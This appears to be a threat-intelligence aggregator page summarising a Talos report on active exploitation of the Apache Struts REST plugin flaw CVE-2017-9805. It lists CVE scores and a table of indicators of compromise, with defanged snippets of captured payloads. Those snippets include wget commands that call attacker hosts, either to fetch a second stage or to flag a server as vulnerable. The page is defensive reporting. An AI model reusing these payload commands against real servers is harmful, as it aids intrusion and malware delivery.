Another Apache Struts Vulnerability Under Active Exploitation
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2017-5638 | Unauthenticated RCE in Apache Struts Jakarta Multipart parser | 9.8 | 100% | KEVRansomwarePoC ×10 | KEV |
| CVE-2017-9805 | XML Deserialization RCE in Apache Struts 2 REST Plugin | 8.1 | 99% | KEVPoC | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | alifuzz.com | found below. <string>wget</string><string>hxxp://st2buzgajl.alifuzz[.]com/052</string> Unfortunately, we were unable to retrieve th |
| domain | wildkind.ru | string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite</string> This would initiate a wget |
| ipv4 | 101.37.175.165 | ous payloads. IOCs IP Addresses Observed: 188.120.246[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.1 |
| ipv4 | 141.101.105.240 | 5[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.101.105[.]240 Domains Contacted: wildkind[.]ru st2buzgajl.alifuzz[.]com |
| ipv4 | 141.101.76.226 | 6[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.101.105[.]240 Domains Contacted: wildkind[.]ru st2buz |
| ipv4 | 162.158.111.235 | served: 188.120.246[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.101.105[.]240 Domains Contacted: wil |
| ipv4 | 162.158.182.26 | s IP Addresses Observed: 188.120.246[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.101.105[.]240 Doma |
| ipv4 | 188.120.246.215 | rious other malicious payloads. IOCs IP Addresses Observed: 188.120.246[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.1 |
| url | http://st2buzgajl.alifuzz.com/052 | n attempts can be found below. <string>wget</string><string>hxxp://st2buzgajl.alifuzz[.]com/052</string> Unfortunately, we were unable to retrieve the po |
From the original article
4 min read at blog.talosintelligence.com
This post authored by Nick Biasini with contributions from Alex Chiu . Earlier this week, a critical vulnerability in Apache Struts was publicly disclosed in a security advisory. This new vulnerability, identified as CVE-2017-9805, manifests due to the way the REST plugin uses XStreamHandler with an instance of XStream for deserialization without any type filtering.
By Nick Biasini · blog.talosintelligence.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.